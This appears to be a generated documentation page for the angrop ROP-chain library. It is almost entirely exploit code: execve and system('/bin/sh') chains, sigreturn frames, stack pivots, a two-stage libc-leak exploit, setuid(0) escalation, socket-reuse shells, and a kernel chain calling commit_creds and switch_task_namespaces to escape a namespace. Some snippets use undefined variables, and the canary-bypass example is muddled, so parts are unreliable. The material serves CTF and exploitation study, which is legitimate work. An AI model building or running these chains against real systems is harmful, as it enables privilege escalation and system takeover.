Skip to main content
This guide covers advanced ROP chain composition techniques including register preservation, sigreturn frames, memory writes combined with function calls, and complex multi-stage exploits.

Register Preservation

When building complex chains, you often need to set up multiple registers without clobbering values you’ve already set.

Basic Register Preservation

import angr
import angrop

proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Set rdi, then set rsi while preserving rdi
chain = (
    rop.set_regs(rdi=0x1337) +
    rop.set_regs(rsi=0x4141, preserve_regs={'rdi'})
)

chain.pp()

Preserving Multiple Registers

# Set up three registers, preserving previous values
chain = (
    rop.set_regs(rdi=0xdeadbeef) +
    rop.set_regs(rsi=0xcafebabe, preserve_regs={'rdi'}) +
    rop.set_regs(rdx=0x1337, preserve_regs={'rdi', 'rsi'})
)

Function Calls with Register Preservation

From the Python API docs and real examples:
# Preserve rdi when calling a function
chain = rop.func_call(
    "prepare_kernel_cred",
    (0x41414141, 0x42424242),
    preserve_regs={'rdi'}
)

chain.pp()
Output:
0xffffffff81489752: pop rsi; ret 
                    0x42424242
0xffffffff8114d660: <prepare_kernel_cred>
                    <BV64 next_pc_4280_64>
Note: When you specify preserve_regs={'rdi'}, angrop will:
  1. Ignore the first argument (0x41414141) since rdi is preserved
  2. Only set registers that are not in the preserve set
  3. Keep the existing value in rdi intact

Real-World Example: Kernel Chain

From examples/linux_escape_chain/solve.py:38-44:
chain = (
    rop.func_call("commit_creds", [init_cred]) +
    rop.func_call("find_task_by_vpid", [1]) +
    rop.move_regs(rdi='rax') +
    rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) +
    rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) +
    rop.func_call('__x64_sys_fork', []) +
    rop.func_call('msleep', [0xffffffff])
)
Why preserve_regs matters here:
  • move_regs(rdi='rax') puts the task_struct pointer in rdi
  • set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) sets rsi without destroying rdi
  • func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) keeps both arguments

Sigreturn (SROP) Chains

Signal return frames let you set all registers at once, including RIP and RSP.

Basic Sigreturn

import angr
import angrop

proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Set rip/rsp and registers via sigreturn frame
chain = rop.sigreturn(
    rip=0x401000,
    rsp=0x7fffffffe000,
    rax=59,  # __NR_execve
    rdi=0x41414141
)

chain.pp()

Sigreturn for Syscalls

From docs/pythonapi.md:61-62:
# Automatically set registers for a syscall
chain = rop.sigreturn_syscall(
    0x3b,  # syscall number (execve)
    [next(elf.search(b"/bin/sh\x00")), 0, 0],  # args
    sp=0x401234
)

When to Use Sigreturn

Use SROP when:
  • You have very few gadgets available
  • You need to set many registers at once
  • You want to control both code and stack pointers
  • You have a sigreturn gadget (or syscall 15 on x86_64)
Typical pattern:
# 1. Write "/bin/sh" to known location
# 2. Use sigreturn to:
#    - Set rax = 59 (execve)
#    - Set rdi = pointer to "/bin/sh"
#    - Set rsi = 0, rdx = 0
#    - Set rip = syscall gadget
chain = (
    rop.write_to_mem(0x61b100, b"/bin/sh\x00") +
    rop.sigreturn(
        rax=59,
        rdi=0x61b100,
        rsi=0,
        rdx=0,
        rip=syscall_gadget_addr,
        rsp=0x7fffffffe000
    )
)

Memory Write + Function Call Chains

Complex exploits often require writing data to memory before calling functions.

Write String Then Call Function

From docs/pythonapi.md:45-46, 77:
import os
import angr
import angrop

proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Write "/home/ctf/flag" then call open()
chain = (
    rop.write_to_mem(0x61b100, b"/home/ctf/flag\x00") +
    rop.func_call("open", [0x61b100, os.O_RDONLY])
)

Complete File Read Chain

import os

buf_addr = 0x61b100
flag_path_addr = buf_addr
read_buf_addr = buf_addr + 0x100

chain = (
    # Write path string
    rop.write_to_mem(flag_path_addr, b"/home/ctf/flag\x00") +
    
    # open("/home/ctf/flag", O_RDONLY)
    rop.func_call("open", [flag_path_addr, os.O_RDONLY]) +
    
    # fd is now in rax, move to rdi for read()
    rop.move_regs(rdi='rax') +
    
    # read(fd, read_buf_addr, 0x100)
    rop.set_regs(rsi=read_buf_addr, rdx=0x100, preserve_regs={'rdi'}) +
    rop.func_call("read", [], preserve_regs={'rdi', 'rsi', 'rdx'}) +
    
    # write(1, read_buf_addr, 0x100)  
    rop.func_call("write", [1, read_buf_addr, 0x100])
)

chain.pp()

Memory Manipulation Chains

Memory Arithmetic Operations

From docs/pythonapi.md:39-42:
# Add to memory
chain = rop.mem_add(0x804f124, 0x41414141)

# XOR memory
chain = rop.mem_xor(0x804f124, 0x41414141)

# OR memory
chain = rop.mem_or(0x804f124, 0x41414141)

# AND memory
chain = rop.mem_and(0x804f124, 0x41414141)

Practical Use: Bypassing Canary

import angr
import angrop

proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Assume you leaked canary value
leaked_canary = 0x1234567890abcdef
canary_location = 0x7fffffffdf08

# XOR the canary location with itself to zero it
chain = (
    rop.mem_xor(canary_location, leaked_canary) +
    # Now canary is 0x0000000000000000
    # Continue with exploit...
    rop.func_call("system", [next(elf.search(b"/bin/sh"))])
)

Register Movement Patterns

Moving Return Values

# Pattern: function returns in rax, next function needs it in rdi
chain = (
    rop.func_call("getuid", []) +
    rop.move_regs(rdi='rax') +  # Move rax -> rdi
    rop.func_call("setuid", [], preserve_regs={'rdi'})
)

Complex Register Shuffling

# Swap register values
chain = (
    # Save rdi to rax
    rop.move_regs(rax='rdi') +
    # Move rsi to rdi
    rop.move_regs(rdi='rsi') +
    # Move saved rax to rsi
    rop.move_regs(rsi='rax')
)

Stack Pivoting

Pivot to Controlled Region

From docs/pythonapi.md:49-50:
# Pivot stack to register value
chain = rop.pivot('rax')

# Or pivot to specific address
chain = rop.pivot(0x41414140)

Complete Pivot Example

import angr
import angrop

proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Assume you control a buffer at 0x41414000
controlled_buf = 0x41414000

# Stage 1: Pivot to controlled buffer
stage1 = rop.pivot(controlled_buf)

# Stage 2: Build actual exploit chain
stage2 = (
    rop.write_to_mem(0x61b100, b"/bin/sh\x00") +
    rop.func_call("system", [0x61b100])
)

# Place stage2 at the controlled buffer
# Then use stage1 to pivot there
payload = b"A" * offset + stage1.payload_str()
payload += b"\x00" * (controlled_buf - len(payload))
payload += stage2.payload_str()

Syscall Chains

Direct Syscall Invocation

From docs/pythonapi.md:56:
# invoke syscall with arguments
chain = rop.do_syscall(
    0,  # syscall number (read)
    [0, 0x41414141, 0x100],  # args: fd, buf, count
    needs_return=False
)

execve() via Syscall

import angr
import angrop

proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Method 1: Use built-in execve()
chain = rop.execve()

# Method 2: Manual syscall
bin_sh_addr = 0x61b100
chain = (
    rop.write_to_mem(bin_sh_addr, b"/bin/sh\x00") +
    rop.do_syscall(
        59,  # __NR_execve
        [bin_sh_addr, 0, 0],  # path, argv, envp
        needs_return=False
    )
)

Advanced Chain Techniques

Ret Sled

From docs/pythonapi.md:69-70:
# Generate ret-sled (works for ARM/MIPS too)
chain = rop.retsled(0x40)
Use cases:
  • Align stack before calling functions
  • Delay execution for timing attacks
  • Pad chain to avoid detection

Stack Shifting

From docs/pythonapi.md:67:
# Shift stack pointer: add rsp, 0x8; ret
# This gadget shifts rsp by 0x10 total (0x8 + 0x8 for ret)
chain = rop.shift(0x10)

Badbyte Avoidance

From docs/pythonapi.md:72-74:
# Set badbytes before building chains
rop.set_badbytes([0x0, 0x0a, 0x0d])

# All chains will avoid these bytes
chain = rop.set_regs(eax=0)

Multi-Stage Exploit Example

import os
import angr
import angrop

proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()

# Stage 1: Leak libc
stage1 = (
    rop.func_call("puts", [elf.got['puts']]) +
    rop.func_call("main", [])  # Return to main
)

# Stage 2: After leak, calculate addresses
# (This happens at runtime in your exploit script)
libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))

# Stage 2: Call system("/bin/sh")
stage2 = rop.func_call(system_addr, [bin_sh_addr])

# Build final payload
payload1 = b"A" * offset + stage1.payload_str()
# ... send payload1, receive leak ...
payload2 = b"A" * offset + stage2.payload_str()
# ... send payload2, get shell ...

Debugging Complex Chains

Pretty Print with Comments

chain = (
    rop.write_to_mem(0x61b100, b"/bin/sh\x00") +
    rop.func_call("system", [0x61b100])
)

# View the chain structure
chain.pp()

Generate Python Code

From docs/pythonapi.md:80-87:
chain.print_payload_code()
Output:
chain = b""
chain += p64(0x410b23)  # pop rax; ret
chain += p64(0x74632f656d6f682f)
chain += p64(0x404dc0)  # pop rbx; ret
chain += p64(0x61b0f8)
chain += p64(0x40ab63)  # mov qword ptr [rbx + 8], rax; add rsp, 0x10; pop rbx; ret
...

Validate Chain Length

chain = rop.set_regs(rdi=0x1337, rsi=0x4141, rdx=0x100)

print(f"Chain length: {len(chain.payload_str())} bytes")
print(f"Number of gadgets: {len(chain._values)}")

Common Patterns

Pattern: Open-Read-Write

chain = (
    rop.write_to_mem(buf, b"flag.txt\x00") +
    rop.func_call("open", [buf, 0]) +
    rop.move_regs(rdi='rax') +
    rop.set_regs(rsi=buf+0x100, rdx=0x100, preserve_regs={'rdi'}) +
    rop.func_call("read", [], preserve_regs={'rdi', 'rsi', 'rdx'}) +
    rop.func_call("write", [1, buf+0x100, 0x100])
)

Pattern: Privilege Escalation

chain = (
    rop.func_call("setuid", [0]) +
    rop.func_call("setgid", [0]) +
    rop.func_call("system", [bin_sh_addr])
)

Pattern: Socket Reuse

# Redirect stdin/stdout/stderr to socket fd 4
chain = (
    rop.func_call("dup2", [4, 0]) +
    rop.func_call("dup2", [4, 1]) +
    rop.func_call("dup2", [4, 2]) +
    rop.func_call("execve", [bin_sh_addr, 0, 0])
)

Build docs developers (and LLMs) love